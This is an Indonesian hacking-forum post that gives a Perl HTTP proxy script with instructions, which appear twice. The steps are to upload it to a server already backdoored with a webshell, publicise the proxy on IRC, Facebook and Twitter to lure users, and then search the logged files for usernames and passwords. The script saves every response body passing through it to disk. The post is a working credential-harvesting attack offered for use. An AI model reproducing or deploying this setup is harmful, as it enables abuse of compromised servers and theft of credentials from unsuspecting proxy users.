07-24-2012, 05:19 PM
Tools ini di buat dengan bahasa perl simpel jha
Sebelum Menggunakan Tools ini Teman-2 Pasti dha tahu fungsi dari PROXY
Salahsatunya adalah cache dan sebagai perantara antara client dan server
1.Copy Source code di bawah ini save dengan exitensi (*.pl)
contoh: anon-proxy.pl
2.upload ke target yang suda di tanam webshellnya
3.jalankan scriptnya
exhell@target:~#perl anon-proxy.pl
4.cek portnya pake telnet or irc bot
shell@target:~#telnet ip-target.com <listening port>
exhell@target:~#telnet 123.456.789.0 8888
5.jalankan scriptnya
ex[email protected]:~#perl anony-proxy.pl 8888
sesuaikan dengan port dalam script...!
6.sebarkan proxynya melalui IRC/FACEBOOK/TWITTER DLL agar orang bisa pakai proxy tersebut
7.buka file yang ada di webshell anda
cek apakah ada username atau password .!
thankz : :: IBT-DNC-HNC ::
Sebelum Menggunakan Tools ini Teman-2 Pasti dha tahu fungsi dari PROXY
Salahsatunya adalah cache dan sebagai perantara antara client dan server
1.Copy Source code di bawah ini save dengan exitensi (*.pl)
contoh: anon-proxy.pl
Code:
#!/usr/bin/perl
# Simple HTTP Proxy Program using HTTP::Daemon.
# (c) recode by 2012 ma1ona
use strict;
use HTTP::Daemon;
use LWP::UserAgent;
my $uagen = LWP::UserAgent->new();
my $dtool = HTTP::Daemon->new(
LocalHost => "",
LocalPort => 8888 #ganti dengan port terserah anda
) || die;
print "[Alamat Proxy :", $dtool->url, "]\n";
# Mencegah Mati Saat Pembatalan Browser
$SIG{PIPE} = 'IGNORE';
# Implementasi Pre Fork
# 2^3 = 8 Proses
fork();
fork();
fork();
while (my $c = $dtool->accept) {
while (my $request = $c->get_request) {
print $c->sockhost . ": " . $request->uri->as_string . "\n";
$request->push_header( Via => "1.1 ". $c->sockhost );
my $response = $uagen->simple_request( $request );
$c->send_response( $response );
# Simpan respon ke dalam file
if( ($request->method eq "GET" || $request->method eq "POST")
&& $response->is_success && length($response->content) > 10 )
{
my $uri = $request->uri->as_string;
$uri =~ s#/#_#g;
open(F, ">$uri") || print "Tidak Bisa Mencetak $uri\n";;
print F $response->content;
close F;
}
}
$c->close;
undef($c);
}
2.upload ke target yang suda di tanam webshellnya
3.jalankan scriptnya
exhell@target:~#perl anon-proxy.pl
4.cek portnya pake telnet or irc bot
shell@target:~#telnet ip-target.com <listening port>
exhell@target:~#telnet 123.456.789.0 8888
5.jalankan scriptnya
ex[email protected]:~#perl anony-proxy.pl 8888
sesuaikan dengan port dalam script...!
6.sebarkan proxynya melalui IRC/FACEBOOK/TWITTER DLL agar orang bisa pakai proxy tersebut
7.buka file yang ada di webshell anda
cek apakah ada username atau password .!
thankz : :: IBT-DNC-HNC ::
http://www.facebook.com/ma1ona
http://www.twitter.com/ma1ona
:: secure your mind and secure your system ::
http://www.twitter.com/ma1ona
:: secure your mind and secure your system ::